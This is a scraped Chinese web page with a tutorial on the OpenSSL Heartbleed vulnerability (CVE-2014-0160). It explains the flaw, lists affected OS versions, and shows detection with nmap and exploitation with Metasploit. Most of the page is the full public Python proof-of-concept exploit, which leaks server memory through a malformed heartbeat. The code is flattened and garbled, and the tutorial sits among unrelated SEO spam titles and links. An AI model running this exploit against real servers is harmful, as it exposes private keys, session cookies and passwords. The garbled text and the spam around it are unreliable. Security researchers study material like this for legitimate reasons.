当前位置: 首页 > news >正文

四川高速公路建设集团网站做网盘网站的成本

四川高速公路建设集团网站,做网盘网站的成本,公司网站做的一样算不算侵权6,wordpress 图片响应式目录 #漏洞简介 #漏洞原理 #漏洞检测 #漏洞利用 #漏洞简介 心脏出血是openssl库中的一个内存漏洞#xff0c;攻击者利用这个漏洞可以服务到目标进程内存信息#xff0c;如其他人的cookie等敏感信息。 Heartbleed Bug 是流行的 OpenSSL 加密软件库中的一个严重漏洞。 此弱…目录 #漏洞简介 #漏洞原理 #漏洞检测 #漏洞利用 #漏洞简介 心脏出血是openssl库中的一个内存漏洞攻击者利用这个漏洞可以服务到目标进程内存信息如其他人的cookie等敏感信息。 Heartbleed Bug 是流行的 OpenSSL 加密软件库中的一个严重漏洞。 此弱点允许在正常情况下窃取受用于保护 Internet 的 SSL/TLS 加密保护的信息。 SSL/TLS 为 Web、电子邮件、即时消息 (IM) 和一些虚拟专用网络 (VPN) 等应用程序提供 Internet 上的通信安全和隐私。 Heartbleed 漏洞允许 Internet 上的任何人读取受 OpenSSL 软件易受攻击版本保护的系统内存。 这损害了用于识别服务提供商和加密流量、用户名和密码以及实际内容的密钥。 这允许攻击者窃听通信直接从服务和用户窃取数据并冒充服务和用户。 #漏洞原理 心脏出血漏洞主要通过攻击这模拟向服务器端发送自己编写的heartbeat心跳数据包主要是heartbeatmessage的长度与payload的length进行匹配若payload长度大于heartbeatmessage的length则会在服务器返回的response响应包中产生数据溢出造成有数据泄露。 #一些带有潜在易受攻击的 OpenSSL 版本的操作系统发行版 Debian Wheezy稳定OpenSSL 1.0.1e-2deb7u4Ubuntu 12.04.4 LTSOpenSSL 1.0.1-4ubuntu5.11CentOS 6.5、OpenSSL 1.0.1e-15Fedora 18OpenSSL 1.0.1e-4OpenBSD 5.3OpenSSL 1.0.1c 2012 年 5 月 10 日和 5.4OpenSSL 1.0.1c 2012 年 5 月 10 日FreeBSD 10.0 - OpenSSL 1.0.1e 2013 年 2 月 11 日NetBSD 5.0.2 (OpenSSL 1.0.1e)OpenSUSE 12.2 (OpenSSL 1.0.1c) 具有不易受攻击版本的操作系统分发 Debian Squeeze (oldstable)OpenSSL 0.9.8o-4squeeze14SUSE Linux 企业服务器FreeBSD 8.4 - OpenSSL 0.9.8y 2013 年 2 月 5 日FreeBSD 9.2 - OpenSSL 0.9.8y 2013 年 2 月 5 日FreeBSD 10.0p1 - OpenSSL 1.0.1g (At 8 Apr 18:27:46 2014 UTC)FreeBSD Ports - OpenSSL 1.0.1g (At 7 Apr 21:46:40 2014 UTC) #漏洞检测 环境启动之后 打开浏览器进行访问 如果检测一下是否为heartbleed漏洞可以通过通过nmap命令使用script ssl-heartbleed.nse板块进行扫描 nmap -sV -p 8443 -script ssl-heartbleed.nse 192.168.217.134 #漏洞利用 可以通过msf实现对该漏洞的利用。通过search openssl查看相关漏洞模块 使用该辅助模块然后通过options设置好相关参数设置完之后就运行 也可以通过环境自带的exp进行利用 使用python命令实现对其的利用 python ssltest.py 192.168.217.134 exp里的默认端口是443我这里需要进行修改不然就会显示拒绝连接 修改为8443之后就成功了 完整exp #!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguinjspenguin.org) # The author disclaims copyright to this source code.import sys import struct import socket import time import select import binascii import re from optparse import OptionParseroptions OptionParser(usage%prog server [options], descriptionTest for SSL heartbeat vulnerability (CVE-2014-0160)) options.add_option(-p, --port, typeint, default443, helpTCP port to test (default: 443))def h2bin(x):return binascii.unhexlify(x.replace( , ).replace(\n, ))hello h2bin( 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 )hb h2bin( 18 03 02 00 03 01 40 00 )def hexdump(s: bytes):for b in range(0, len(s), 16):lin [c for c in s[b : b 16]]hxdat .join(%02X % c for c in lin)pdat .join((chr(c) if 32 c 126 else . )for c in lin)print( %04x: %-48s %s % (b, hxdat, pdat))print()def recvall(s, length, timeout5):endtime time.time() timeoutrdata bremain lengthwhile remain 0:rtime endtime - time.time() if rtime 0:return Noner, w, e select.select([s], [], [], 5)if s in r:data s.recv(remain)# EOF?if not data:return Nonerdata dataremain - len(data)return rdatadef recvmsg(s):hdr recvall(s, 5)if hdr is None:print(Unexpected EOF receiving record header - server closed connection)return None, None, Nonetyp, ver, ln struct.unpack(BHH, hdr)pay recvall(s, ln, 10)if pay is None:print(Unexpected EOF receiving record payload - server closed connection)return None, None, Noneprint( ... received message: type %d, ver %04x, length %d % (typ, ver, len(pay)))return typ, ver, paydef hit_hb(s):s.send(hb)while True:typ, ver, pay recvmsg(s)if typ is None:print(No heartbeat response received, server likely not vulnerable)return Falseif typ 24:print(Received heartbeat response:)hexdump(pay)if len(pay) 3:print(WARNING: server returned more data than it should - server is vulnerable!)else:print(Server processed malformed heartbeat, but did not return any extra data.)return Trueif typ 21:print(Received alert:)hexdump(pay)print(Server returned error, likely not vulnerable)return Falsedef main():opts, args options.parse_args()if len(args) 1:options.print_help()returns socket.socket(socket.AF_INET, socket.SOCK_STREAM)print(Connecting...)sys.stdout.flush()s.connect((args[0], opts.port))print(Sending Client Hello...)sys.stdout.flush()s.send(hello)print(Waiting for Server Hello...)sys.stdout.flush()while True:typ, ver, pay recvmsg(s)if typ None:print(Server closed connection without sending Server Hello.)return# Look for server hello done message.if typ 22 and pay[0] 0x0E:breakprint(Sending heartbeat request...)sys.stdout.flush()s.send(hb)hit_hb(s)if __name__ __main__:main()
http://www.hkea.cn/news/14532276/

相关文章:

  • 网站模板 自适应多语言的网站
  • 网站建设的方案模板wordpress主页
  • 开发一个软件app需要多少钱宁波seo外包服务商
  • 网站建设用户体验郑州平面设计公司排名
  • 域名备案网站站长seo综合查询
  • 企业网站建设的参考文献网站如何做微信支付宝支付宝支付宝
  • 利用网站源代码建立网站网站做我女朋友
  • 网站建设与运营培训班南宁网页制作步骤
  • wordpress建设购物网站万州网络科技有限公司
  • 网站建设推广市场wordpress tag伪静态
  • 要给公司做一个网站怎么做的吗网站建设首页面
  • 做网站的如何找业务申请企业邮箱收费吗
  • 简单编程代码seo短视频入口引流
  • 企业网站设计与管理系统邯郸移动网站建设价格
  • 学网站开发工程师难学吗合肥做网站公司有哪些
  • 网站信息备案变更 哪里做wordpress 流水 插件
  • 网站做优化有什么好处山东省建设监理协会网站打不开
  • 北京网站开发招聘58山东建设厅证件查询网址
  • 网站怎么做速排英文网站建设公司
  • 校园网站建设的基本条件题库网站建设的绩效指标
  • 轻淘客cms建站教程鸿蒙系统app开发
  • 给客户做一个网站ppt怎么做网上下载的网站后台安全吗
  • 景安网站上传完还要怎么做上饶市建设局官方网站
  • 网站开发人员晋升体系百度关键词排名优化
  • sogo提交网站入口深圳市知名广告公司
  • 蜘蛛爬网站网页设计好看的模板
  • 绍兴住房和城乡建设厅网站网站免费网站免费优化优化
  • 东莞做网站多少钱如何让别人网站降权
  • 开一家网站建设公司怎样绍兴网站制作软件
  • 乡镇美丽乡村建设网站信息网站二级分类